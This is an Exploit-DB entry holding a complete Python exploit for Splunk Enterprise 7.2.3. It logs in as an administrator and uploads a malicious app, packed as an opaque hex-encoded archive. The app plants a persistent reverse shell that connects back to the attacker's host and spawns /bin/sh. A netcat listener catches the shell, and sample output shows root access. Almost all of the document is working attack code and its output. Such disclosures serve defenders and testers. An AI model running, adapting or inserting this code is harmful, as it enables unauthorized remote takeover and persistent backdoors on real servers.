Splunk Enterprise 7.2.3 - (Authenticated) Custom App Remote Code Execution

EDB-ID:

46238

CVE:

N/A




Platform:

Windows

Date:

2019-01-24


#!/usr/bin/python

# Exploit Title: Splunk Enterprise 7.2.3 Custom App RCE (persistent backdoor)
# Date: January 23, 2019
# Exploit Author: Lee Mazzoleni
# Vendor Homepage: https://www.splunk.com/
# Software Link: https://www.splunk.com/en_us/download/splunk-enterprise.html
# Version: 7.2.3
# Tested on: kali 4.18.0-kali2-amd64
# CVE : n/a

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from time import sleep
from sys import stdout,argv
from os import getcwd,path,system
from subprocess import Popen

# Download and unpack the correct version for your OS from here: github.com/mozilla/geckodriver/releases
gecko_driver_path = '/root/Desktop/SplunkSploit/Gecko/geckodriver'

def checkLogin(url):
	if '/login' not in url and '/logout' not in url:
		print 'Login successful!'
	else:
		print 'Login failed! Aborting...'
		exit()


def checkUrl(url):
	if '_upload' not in url:
		print '[-] Navigation error, aborting...'
		exit()


def exploit(splunk_target_url, splunk_admin_user, splunk_admin_pass, lport):
	print '[+] Starting bot ...'
	profile = webdriver.FirefoxProfile()
	profile.accept_untrusted_certs = True
	driver = webdriver.Firefox(firefox_profile=profile, executable_path=gecko_driver_path)

	print '[*] Loading the target page ...'
	driver.get(splunk_target_url)
	sleep(1)

	stdout.write('[*] Attempting to log in with the provided credentials ... ')
	username_field = driver.find_element_by_name("username")
	username_field.clear()
	username_field.send_keys(splunk_admin_user)
	sleep(1)

	pw_field = driver.find_element_by_name("password")
	pw_field.clear()
	pw_field.send_keys(splunk_admin_pass)
	pw_field.send_keys(Keys.RETURN)
	sleep(3)

	current_url = driver.current_url
	checkLogin(current_url)

	url = driver.current_url.split('/')
	upload_url = url[0] + '//' + str(url[2]) + '/' + url[3] + '/manager/appinstall/_upload'
	print '[*] Navigating to the uploads page ({}) ...'.format(upload_url)
	driver.get(upload_url)
	sleep(1)

	current_url = driver.current_url
	checkUrl(current_url)

	form = driver.find_element_by_tag_name("form")
	input = form.find_element_by_id("appfile")
	input.send_keys(getcwd()+'/'+'splunk-shell.tar.gz')
	force_update = driver.find_element_by_id("force")
	force_update.click()
	submit_button = driver.find_element_by_class_name("splButton-primary")
	submit_button.click()

	print '[*] Your persistent shell has been successfully uploaded!'
	driver.quit()
	print '[+] Preparing to catch shell ... (this may take up to 1 minute)'
	system('nc -lvp {}'.format(lport))


def generatePayload(lhost, lport):
	# this hex decodes into the evil splunk app (tar.gz file) that we will be uploading as the payload
	# after the app is written to disk, a reverse shell is created and added to the app (it uses the user-supplied lhost and lport parameters to create the shell)
	# the app configuration sets it to be enabled upon installation (restarting splunk / manually enabling it is not required.)
	# this is a PERSISTENT backdoor, there is no need to re-upload multiple times... the backdoor will reconnect every 10-20 seconds
	print '[*] Creating Splunk App...'
	shell = '1f8b080030e9485c0003ed5b6b6fdb3614cd67fd0a221e9036ab65bd95b87b206b332c5830144bda0e705d8396689b8b446aa214271bf6df7749d9895f8993d451da95e7432c91145f87e7f25e89115952b2b3a6189124696d3d0e2c40e8fbea17b0f8abae6dd7731c3b702c1fd26dc70ead2de43f527fe6508a02e7086de59c17b7955b97ff8542ccf29ff0083fc22a50fc2ff37e0bffaee36bfe6bc10afe7196991167838db521090e6ee11fb85fe0df0bc2700b591bebc12df8caf9ef50061390245d037e0a82be4784e17e4262c3e894b46b50d13ba782420a64d99098e09245239277e13ac3d1191e92ae0109d1596fc0f35e99c5508d50859f7a6c1aeb31a7ff3e658fe103dc63fff71cdf95fb7fe885dafed78139fe535260902fdef022b8bfffe7867affaf07abf98fc900974961ca844f6f4312ec79de8dfcbbaebbc07fe078b6deffeb40a76be0282242eed839c1316aa30eda45dd17689c53f00726b772b3cf79265a82b038c53469750d7291f1bc80e7c4a528486af0312339dc32dee7f1a561341a0df4eee8f0fdc9e9c1e9e1491b9173c220334f71824a417281c48897498cfa04499703151c45d00768558c704e62744ec958b92502dabfbeb963979f7a6abf08acd6bf0a0436a4fef5fe7fe8840bfaf743dbd2faaf031d88f65a931860fadb13bccc23d2535ebd28d3ae710e6aa59c81e042d3315d23e57141531512f89ebfef04e19e65865610ec419c6f8158676b55a2bd531da1e9eebbaee35475dc51e68b66686d3b7bbe6beefb76e8dad77d95a1ceba07617c96e9d976b01f5c3f781d0e4dcd1f8e53caee5a99ebb87bd7954de2a9d6523875e7ce795635aa3bf33fa77fe803d865686ab30ee0fdfd3fcf0eb5ff5f0b6ee05f6a96461b5a06f7e7dff78240f35f076ee71f12121ac125676624c403db58e3ffbb8ee7ccf32fff3a7affaf03ad5df46a84d910bcef11b8e15986123ee408763462222448a1d247840e47456b4ce36284605f4297e021209ac266f5026181c6b07ae4af2c9b612803aebcbc5625d06ecb30a1e66359f13f060254f5b591e766172f914a5275b7d19e05292aa10f9be130e7258bdba8cc9367d33549d3614b9c8173318d525bd51aeec98ef7fa093c66666cf81c428d664e3288279085acaacedea7543aa483a54aff350c98c1d3326708366739e4c9f328e3824add5036447ca0b2b64f549de80d1fc3f4c6db73532d27a96a73923d335daddd5df50ba5d05b16f13425ac2266c093848f651b096544a067630ab3bf1353a80a5fee2019b491bca0443c979c40c03556cfa996659b55f568f2401b3553fe779332595b13e6263aab26ee2a7f92d58708e1eca5ac60a983aadfaa1be391f4d30a72515c65a2262a670720207fccd1ce352fb37d46742057da4e0ca33b83d589e627b01ac5425333839a215b72bdbd96ecacaab7225d552957d2f62ceb22ca61ca25f9a8c831131904aaac585e5d0f6e1056d95d1a8461ca214a2d1e1d063359d1a5cc0218577f56b3a316f53c3b8f4fcec6d8b9d2795dec5cd9804db333b1858e3b357c29ce8794350b9eb5edabc4ca3c06bebcaf8c8e514a7e465448614ff4a9b4cd30c405139323bfe55525956cabb6e40338fe13763e84133a648a6fc5941ca909c41a74b0aa2a048d517665405e4c3788b93eb4617a187909a39bd8fd5f207823f9fb1c2e21401ad913a316f184e7ed46e862df9f98e7993e4ef60618eb53ef90ff6f2c7cff1d8a47f800f480f7fff293b0f6ff6bc032fff2ed2e5c6cb08d75efff2dcb5e8cffbd50bfffab05dabc7eddb851ffa6bdb1361ea0ffc0d1e77f6a81d6ffd78d39fd4fe39f0db7f100ff2fb0b5ff570b56f2af3ef56fee0ce83afb6f078bf6df0f1cfdfeb7163420ec7e37f9b6587d596c74a6673cba46e3e7a3c3e3d707c7470727cd540c698cbe4729fc3d3841ead6681cfe71fafbc1abd3e65f2a6ffa64e7e3876e77f743b7fd417cfbecc7ef20f387cec77677f7795bef379f1756ea7fc327c0a5c66f3bffe1848be7bf7dc70db4feebc0acfe6dd3322da3317d912b5ff8c955408765ae3e01a2014d88612c1f198fa9a8ce8cdf7080048a387b83fd20d8b78965937ee0c5b11b39837e1085180ff62c2f8afca88ffbcefeaa63e7039c086224b84f126963e4526d42e7b429d90056ea9fb2ac2c36e700acddffc3a5f39ff080d67f1d58a5ff57ea10a6409821b512d4770c81d30cd4288f079a205211e5342bdaad96a9fe6b40ad1f33bbec1a535b004ab5c01e14243fc709b22da3b209c565a6245d322ddfcf0137e83f2617646306609dfe9d65fddbdaffaf074bfa37670dc054f56a41ac3003102ba87b8814463c256fe4d10f04f2fee6e4cdf1dbdf7eedbdfea9551568c57da311f124bea588cc96c58a111e93aae0aa625536147ceaa9d3d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0f8ecf11f88a26c5b00500000'
	bytes = shell.decode('hex')
	f = open('splunk-shell.tar.gz','wb')
	f.write(bytes)
	f.close()
	print '\t==> Adding reverse shell (to {}:{}) to the app...'.format(lhost,lport)
	f = open('shell.py','w')
	f.write('import sys,socket,os,pty\n')
	f.write('ip="{}"\n'.format(lhost))
	f.write('port="{}"\n'.format(lport))
	f.write('s=socket.socket()\n')
	f.write('s.connect((ip,int(port)))\n')
	f.write('[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\n')
	f.write('pty.spawn("/bin/sh")\n')
	f.close()
	decompress_cmd = 'tar zxvf splunk-shell.tar.gz &>/dev/null; rm splunk-shell.tar.gz'
	p = Popen(decompress_cmd, shell=True, executable='/bin/bash')
	p.wait()
	move_cmd = 'mv shell.py splunk-shell/bin/'
	p = Popen(move_cmd, shell=True, executable='/bin/bash')
	p.wait()
	compress_cmd = 'tar zcvf splunk-shell.tar.gz splunk-shell/ &>/dev/null; rm -r splunk-shell/'
	p = Popen(compress_cmd, shell=True, executable='/bin/bash')
	p.wait()
	if path.isfile('splunk-shell.tar.gz'):
		print '\t==> Payload Ready! (splunk-shell.tar.gz)'


def showUsage():
	print '\n\tScript Usage: {} <targetUrl> <username> <password> <lhost> <lport>'.format(argv[0])
        print '\tExample: {} http://192.168.4.16:8000 admin changeme 192.168.4.5 4444\n'.format(argv[0])


if len(argv) != 6:
	showUsage()
	exit()

if not path.isfile(gecko_driver_path):
	print '\n\t[!] This program requires geckodriver, download the corresponding version for your OS from the following link:'
	print '\t\t==> https://github.com/mozilla/geckodriver/releases'
	print '\n\t[!] Extract the geckodriver binary, then add its full path to line 20 of this script.'
	print '\t\t==> gecko_driver_path = "/tmp/geckodriver"\n'
	exit()

splunk_target_url = argv[1]
splunk_admin_user = argv[2]
splunk_admin_pass = argv[3]
lhost = argv[4]
lport = argv[5]
generatePayload(lhost, lport)
exploit(splunk_target_url, splunk_admin_user, splunk_admin_pass, lport)






####################
## SCRIPT OUTPUT: ##
####################
# root@kali:~/SplunkSploit# python splunksploit.py
#
#	Script Usage: splunksploit.py <targetUrl> <username> <password> <lhost> <lport>
#	Example: splunksploit.py http://192.168.4.16:8000 admin changeme 192.168.4.5 4444
#
# root@kali:~/SplunkSploit# python splunksploit.py http://172.16.224.194:8000/ admin changeme 172.16.224.190 4444
# [*] Creating Splunk App...
# 	==> Adding reverse shell (to 172.16.224.190:4444) to the app...
# 	==> Payload Ready! (splunk-shell.tar.gz)
# [+] Starting bot ...
# [*] Loading the target page ...
# [*] Attempting to log in with the provided credentials ... Login successful!
# [*] Navigating to the uploads page (http://172.16.224.194:8000/en-US/manager/appinstall/_upload) ...
# [*] Your persistent shell has been successfully uploaded!
# [+] Preparing to catch shell ... (this may take up to 1 minute)
# Ncat: Version 7.70 ( https://nmap.org/ncat )
# Ncat: Listening on :::4444
# Ncat: Listening on 0.0.0.0:4444
# Ncat: Connection from 172.16.224.195.
# Ncat: Connection from 172.16.224.195:48902.
# # whoami
# whoami
# root